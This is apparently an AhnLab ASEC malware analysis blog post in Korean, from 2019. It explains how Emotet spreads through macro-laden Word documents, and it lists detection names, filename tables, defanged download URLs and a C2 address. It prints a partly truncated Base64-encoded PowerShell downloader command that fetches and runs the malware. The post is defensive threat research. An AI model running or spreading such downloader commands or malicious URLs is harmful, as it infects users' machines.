본문 바로가기
악성코드 정보

[주의] 문서 형태로 유포되는 이모텟(Emotet) 악성코드

by 분석팀 2019. 10. 11.

안랩 ASEC 분석팀은 국내 사용자를 대상으로 악성 VBA 매크로를 포함하고 있는 Word 파일이 유포되고 있음을 확인하였다. 해당 악성 VBA 매크로는 WMI를 통해 powershell을 실행하여 Emotet 악성코드를 다운로드하게 된다. Word 파일을 실행하게 되면 [그림 1]과 같이 VBA 매크로를 실행하도록 유도하는 문구의 그림이 존재한다. 유도 문구는 [그림 2]와 같이 다양한 형태로 유포되고 있다.

 

[그림 1] 악성 VBA 매크로를 포함하고 있는 Word  

 

[그림 2] 매크로 유도 문구

 

현재 유포되고 있는 VBA 매크로는 [그림 3]과 같이 쓰레기 코드 및 주석을 이용하여 난독화되어 있으며, [그림 4]는 난독화가 해제된 VBA 매크로이다.   

 

[그림 3] 난독화된 VBA 매크로

 

[그림 4] 난독화 해제된 VBA 매크로

 

코드를 분석한 결과, 지난해 11Emotet 악성코드를 유포하던 VBA 매크로는 cmd를 통해 powershell을 실행한 반면 현재 유포 중인 매크로는 WMI(winmgmts:Win32_Process)를 통해 powershell 을 실행하는 방식으로 변경된 것을 확인하였다.

 

2018.11.28 DOC 확장자를 사용하는 XML파일 대량 유포 중 (Emotet)

 

DOC 확장자를 사용하는 XML파일 대량 유포 중 (Emotet)

안랩 ASEC은 국내 사용자를 대상으로 문서 확장자를 사용하는 XML파일을 스팸 메일을 통해 유포되고 있음을 확인하였다. XML(Extensible Markup Language)파일은 구조적인 데이터를 쓰기위해 만들어진 파일로 다양..

asec.ahnlab.com

[그림 5] WmiPrvSE 를 통해 실행되는 powershell

 

WMI를 통해 실행되는 powershell 명령어는 [1]과 같이 Base64로 인코딩된 형태이며 디코딩된 명령어는 [그림 6]과 같다. 해당 명령어는 5개의 url 중 연결이 가능한 url을 통해 Emotet 악성코드를 다운받으며, UserProfile 경로에 77.exe 파일명으로 저장 후 실행하는 기능을 수행한다. 해당 기능은 [그림 7]과 같이 자사 행위탐지로 인해 차단된다.

 

powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALg...(중략)…ABiADUAMQAwADYAYgBjADQAMABjADcANAA9ACcAeABjADEAYwAxADAAeAAyADgAOAAwADMANgAnAA==

[표 1] 인코딩된 powershell 명령어

 

[그림 6] 디코딩된 powershell 명령어

 

[그림 7] 행위탐지 화면

 

다운로드된 Emotet 악성코드는 "--XXXXXXXX" 형식의 인자 값으로 실행되는 것이 특징이다. 인자 값은 파일 경로를 바탕으로 계산되며 해당 인자 값이 존재하지 않는 경우 재실행된다.

 

[그림 8] 악성코드 파라미터

 

악성코드가 실행이 되면 윈도우 디렉토리가 존재하는 드라이브(C:\)의 볼륨 시리얼 정보를 조회한다. 해당 정보는 중복 실행 방지를 위한 Mutex 생성 및 파일명 생성 규칙의 키로 사용된다.

 

[그림 9] 볼륨 시리얼 정보 조회

 

이후 C:\Users\[사용자명]\AppData\Local\[새 파일명]\[새 파일명].exe 경로에 자가 복제한다. 이때 파일명은 [2]의 테이블에서 두 가지 항목을 조합하여 생성한다. 두 가지를 선택하는 알고리즘은 감염 PC의 볼륨 시리얼 정보를 키로 사용하므로 감염되는 PC마다 다른 이름의 파일이 생성된다.

 

engine, finish, magnify, resapi, query, skip, wubi, svcs, router, crypto, backup, hans, xcl, con, edition, wide, loada, themes, syc, pink, tran, khmer, chx, excel, foot, wce, allow, play, publish, fwdr, prep, mspterm, nop, define, chore, shlp, maker, proc, cap, top, tablet, sizes, without, pen, dasmrc, move, cmp, rebrand, pixel, after, sms, minimum, umx, cpls, tangent, resw, class, colors, generic, license, mferror, kds, keydef, cable

[표 2] 감염 파일명 테이블 

 

또한 위와 같은 알고리즘으로 [표 3] 테이블을 사용하여 파일명을 생성하고 해당 파일을 삭제한다. 이는 새로운 버전의 악성코드가 감염될 때 이전에 존재하는 악성코드를 제거하기 위함으로 풀이된다.

 

chunk, counter, drawa, isve, two, next, mapi, rtapi, nlsdl, defs, tenant, rstrt, window, machine, mira, system, stream, cursor, structs, history, watched, hash, report, program, durable, offc, rsat, folders, shell, yellow, sounds, adjust, toner, tlb, sorted, loop, post, txt, icons, intel, inset, move, reports, trc, based, wim, lumber, violet, dom, easy, cvt, center, even, readand, xinput, mem, cues, layer, tools, wfd, running, mail, gesture, misc 

[표 3] 삭제 파일명 테이블 

 

파일명 생성 규칙은 동일하므로 같은 PC에서 같은 테이블이 주어지면 동일한 결과가 나온다. 이를 통해 이전 버전의 악성코드가 어떠한 파일명을 가지고 있는지 특정할 수 있다. 이전 버전의 악성코드는 [2]의 테이블로 파일명을 생성하였고, 본 악성코드의 다음 버전은 [3]의 테이블로 악성코드 파일을 삭제할 것임을 추정할 수 있다. 실제로 [3] 테이블로 파일명을 생성하여 감염되는 Emotet 악성코드를 ASD 인프라를 통해 확인할 수 있었다.

 

[그림 10] 이전 Emotet 악성코드

 

이후 CPU 아키텍쳐악성코드의 파일 CRC, PEB SessionId, 윈도우 버전 등의 정보와 현재 실행 중인 프로세스의 목록을 암호화하여 공격자의 서버로 전송한다. 서버의 디렉토리 경로 또한 파일명을 생성할 때와 유사한 방식으로 랜덤하게 생성한다.

 

[그림 11] 전송 패킷

이 과정에서 수신되는 응답에 따라 새로운 바이너리를 다운로드할 수 있다. 따라서 공격자는 언제든지 사용자의 감염된 PC에 추가적인 악성코드를 설치할 수 있게 된다.

 

현재 V3에서는 아래와 같이 다양한 감염 과정들에 대해 행위기반 탐지 및 Generic 진단을 통하여 해당 악성코드를 차단하고 있다. 또한 Word 문서 파일 내부의 이미지를 통해 매크로 사용을 유도하므로 출처를 알 수 없는 문서 파일 내부의 매크로를 실행하는 데 있어 사용자의 주의가 필요하다.

 

[행위 진단]

Malware/MDP.Create.M2172

Malware/MDP.Emotet.M2077

 

[파일 진단]

VBA/Downloader.S55

 

[Download URL]

hxxp://bluelionconflictsolutions.com/wp-includes/5sk54068/

hxxp://www.winzerhof-kridlo.com/up/gqfm32861/

hxxp://www.coscorubber.com/lzhfb/3lzijk275/

hxxp://huyndai3sthanhhoa.com/pictures/p9104/

hxxps://wearetxvets.com/bat.function/p1bjn92466/

 

[C2 정보]

201.184.105.242

 

댓글